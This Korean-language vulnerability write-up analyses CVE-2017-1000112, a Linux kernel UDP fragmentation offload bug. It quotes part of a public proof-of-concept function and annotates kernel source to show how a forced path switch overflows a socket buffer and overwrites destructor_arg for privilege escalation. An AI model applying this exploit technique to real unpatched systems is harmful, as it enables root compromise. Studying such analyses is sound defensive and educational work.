CVE-2017-1000112 - Exploitable memory corruption due to UFO to non-UFO path switch
CVE-2017-1000112
https://github.com/xairy/kernel-exploits/blob/master/CVE-2017-1000112/poc.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
void oob\_execute(unsigned long payload) {
char buffer[4096];
memset(&buffer[0], 0x42, 4096);
init\_skb\_buffer(&buffer[SHINFO\_OFFSET], payload);
int s = socket(PF\_INET, SOCK\_DGRAM, 0);
connect(s, (void\*)&addr, sizeof(addr))
/\***#1** \*/
int size = SHINFO\_OFFSET + sizeof(struct skb\_shared\_info);
int rv = send(s, buffer, size, MSG\_MORE);
/\***#2** \*/
int val = 1;
rv = setsockopt(s, SOL\_SOCKET, SO\_NO\_CHECK, &val, sizeof(val));
/\***#3** \*/
send(s, buffer, 1, 0);
close(s);
}
UFO packet을 만들어 전송할 때 첫 번째 send()
는 UFO 일 때 타는 path를 실행하도록 하고 두 번째 send()
는 non-UFO일 때 타는 path(fragmentation)를 실행하도록 구성하면 overflow가 발생할 수 있으며, 이는 write out-of-bounds → memory corruption → escalate privilege로 이어질 수 있다.
socket buffer(skb
) 아래에는 skb\_shared\_info
구조체가 위치해 있는데, 이 구조체의 destructor_arg
를 overwrite해서 skb
가 소멸될 때 임의의 코드가 실행되도록 구성한다.
#1 UFO path
send(MSG\_MORE)
→ c \_\_ip\_append\_data()
에서 ip\_ufo\_append_data()
를 호출해 새로운 socket buffer(skb
)를 생성한다. user data가 fragment로 복사, skb\_shared_info
구조체가 업데이트되고 sbk
가 queue에 들어간다.
v4.13.11/source/net/ipv4/ip_output.c#L911 : __ip_append_data
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
...
cork->length += length;
if ((skb && skb\_is\_gso(skb)) ||
(((length + (skb ? skb->len : fragheaderlen)) > mtu) &&
(skb\_queue\_len(queue) <= 1) &&
(sk->sk\_protocol == IPPROTO\_UDP) &&
(rt->dst.dev->features & NETIF\_F\_UFO) && !dst\_xfrm(&rt->dst) &&
(sk->sk\_type == SOCK\_DGRAM) && !**sk->sk\_no\_check\_tx** )) { //**#2**
**// #1 create new socket buffer**
err =**ip\_ufo\_append\_data(sk, queue, getfrag, from, length,**
**hh\_len, fragheaderlen, transhdrlen,**
**maxfraglen, flags);**
if (err)
goto error;
return 0;
}
#2
setsockopt( , SO\_NO\_CHECK, )
를 설정하면 sk->sk\_no\_check_tx
가 set된다. 두 번째 send()
가#1 path(UFO path)를 타지 않도록 하기 위해 설정해준다.
#3 non-UFO path
send()
→ c \_\_ip\_append_data()
에서 non-UFO path를 타게 된다. while
문 첫 번째 반복에서 copy
가 음수가 되면서 alloc\_new_skb
부분을 실행해 새로운 skb
를 할당하게 된다. 그리고 fraggap
이 MTU를 넘어가면서 fragmentation을 유발하게 되는데, 여기서 skb_prev
의 payload를 새로 할당한 sbk
로 복사하는 과정이 일어난다. 이 때 payload length가 새로 할당된 skb->end
를 초과하는 경우 overflow가 발생하게 된다. v4.13.11/source/net/ipv4/ip_output.c#L911 : __ip_append_data
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
if (!skb)
goto alloc\_new\_skb;
while (length > 0) {
/\* Check if the remaining data fits into current packet. \*/
copy = mtu - skb->len;
if (copy < length)
copy = maxfraglen - skb->len; //**can be negative**
if (copy <= 0) {
char \*data;
unsigned int datalen;
unsigned int fraglen;
unsigned int fraggap;
unsigned int alloclen;
struct sk\_buff \*skb\_prev;
alloc\_new\_skb:
skb\_prev = skb;
if (skb\_prev)
fraggap = skb\_prev->len - maxfraglen; //**can exceed MTU**
............
if (fraggap) {
**/\* copying payload from skb\_prev to new skb(data) and**
**OVERFLOW**
**\*/**
skb->csum =**skb\_copy\_and\_csum\_bits** (
**skb\_prev** , maxfraglen,
**data** + transhdrlen, fraggap, 0);
............
copy = datalen - transhdrlen - fraggap; // can be neagtive
constraint
- UFO enabled interface가 필요하다.
lo
interface는 UFO가 기본으로 활성화 되어 있기 때문에 이를 사용한다. NETIF\_F\_UFO
interface feature를 비활성화 하거나,SO\_NO_CHECK
socket option을 설정할 수 있어야 한다.
Patch
https://github.com/torvalds/linux/commit/85f1bd9a7b5a79d5baa8bf44af19658f7bf77bfa
참고
UFO, UDP Fragmentation Offload
UFO는 Linux kernel network stack에 있는 기능으로, 이름 그대로 UDP Fragmentation 기능을 제거해 패킷을 분할하지 않는 것을 의미한다. 해서, 완전한 UDP datagram을 포함하는 단일 패킷을 생성해 전송하게 된다. large UDP datagram을 MTU sized packet으로 fragmentation하면서 발생하는 overhead를 줄이기 위해 사용된다..
MSG_MORE
추가적으로 전송해야 하는 데이터가 있음을 의미한다. 따라서 send()/sendto()/sendmsg()
에 MSG_MORE
를 지정하는 경우 데이터를 전송하지 않고 있다가 한 번에 전송한다. UDP의 경우, send(s, buf, len, MSG\_MORE)
요청이 들어오면 전송하지 않고 single datagram에 데이터를 모아두었다가 ` MSG_MORE가 지정되지 않은 첫 번째
send()`에서 이를 전송한다. 따라서 이 패킷은 UFO packet이 될 수 있다. TCP의 경우, partial frame을 바로 전송하지 않고 queue에 저장해 두었다가, 이를 한꺼번에 전송한다. UDP와 달리 200ms가 되면 queued data가 자동으로 전송된다.
TCP_CORK / UDP_CORK
CORK : 코르크 MSG\_MORE
과 비슷하지만, \*_CORK
는 socket option이라 각각의 send()
에 지정하는게 아니라 setsockopt()
로 활성화하면 지속 적용되고, 다시 비활성화 할 때 패킷 전송이 일어난다.